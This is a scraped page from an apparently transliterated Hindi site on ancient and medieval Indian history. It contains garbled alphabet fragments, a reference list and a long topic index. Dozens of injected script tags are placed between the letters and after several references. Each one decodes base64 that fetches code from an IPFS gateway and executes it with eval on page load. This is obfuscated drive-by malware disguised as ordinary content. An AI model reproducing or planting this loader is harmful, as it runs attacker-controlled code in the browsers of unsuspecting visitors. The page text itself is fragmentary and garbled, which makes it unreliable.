<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] : shodh granth vels, spensar (2002) a jenetik odisi (aangrezi). prinsatan yoonivarsiti prॅs, nyoo jarsi, san.ra.amarika. ISBN 0-691-11532-X.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] ustak 'bharat ka itihas' romila thapar) prishth sankhya-19

[3] Juzr or Jurz.. Persian Texts in Translation The Packard Humanities Institute. Archived from the original on 2007-09-29. abhigaman tithi: 2007-05-31.

[4] John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] Ramesh Chandra Majumdar (1977) The History and Culture of the Indian People: The classical age. Bharatiya Vidya Bhavan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[6] John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[7] 1975 ee. mean purtagali shasan ne vastavikata ko samajhakar isako vaidhanik manyata de di hai.

[1]

[2]

[3]

[4]

[5]

[6]

[7]

भारत का इतिहास

prachin bharatiy itihas ke srot

sahityik sakshy

granthoan ki prakriti

brahman granth

aranyak

upanishad

vedaang

aryoan ke adi sthal soochi

smritiyaan

mahakavy

ramayan

mahabharat

mahajanapad soochi

puran

bauddh sahity

jain sahity

laukik sahity

videshiyoan ke vivaran

yoonani-roman lekhak

chini lekhak

arabi lekhak

puratattv

abhilekh

mudrayean

smarak evan bhavan

moortiyaan

chitrakala

pashan kal

bharat ki adim (praranbhik) jatiyaan

siandhu ghati sabhyata

vishesh imaratean

durg

h dappa lipi

mrinmoortiyaan

h dappa sabhyata ke nagaroan ki visheshataean

hadappa janajivan

saiandhav-sabhyata ka vinash

pragaitihasik kal

mahajanapad yug

prachin bharat

maury aur shuang

shak, kushan aur satavahan

gupt

madhyakalin bharat 1

tin samrajyoan ka yug (8vian - 10vian shatabdi)

pal samrajy

rashtrakoot samrajy

gurjar pratihar rajavansh

rajapoot samrajy

chol samrajy nauvian se barahavian shatabdi

bhavy mandiroan ka nirman

madhyakalin bharat 2

islam ka pravesh

arthik samajik jivan, shiksha tatha dharm 800 ee. se 1200 ee.

sangharsh ka yug lagabhag 1000 ee. se 1200 ee. tak

mahamood gazanavi

uttar bharat par turkoan ki vijay

muhammad bin qasim aur mahamood gazanavi

bhavy mandiroan ka nirman

prithviraj chauhan aur gori

qutubuddin aibak (1206-1210 ee.)

gori samrajy ka vistar

dilli saltanat (madhyakalin bharat 3)

mamalook athava gulam vansh (1206 se 1290 ee.)

iltutamish/altamash (1201 ee0-1236 ee0)

raziya sultan (1236-39)

balaban ka yug (1246-86)

khilaji vansh (1290-1320 ee.)

tugalaq vansh (1320-1414)

taimoor

mugal (madhyakalin bharat 4)

babar (1526 -1530 )

humayooan

sherashah soori

akabar (1556 1605)

jahaangir (1605 - 1627)

shahajahaan (1627 - 1658)

aurangazeb (1658 - 1707)

bahadur shah zafar (1837- 1858)

arthik samajik jivan, shiksha tatha dharm _{800 ee. se 1200 ee.}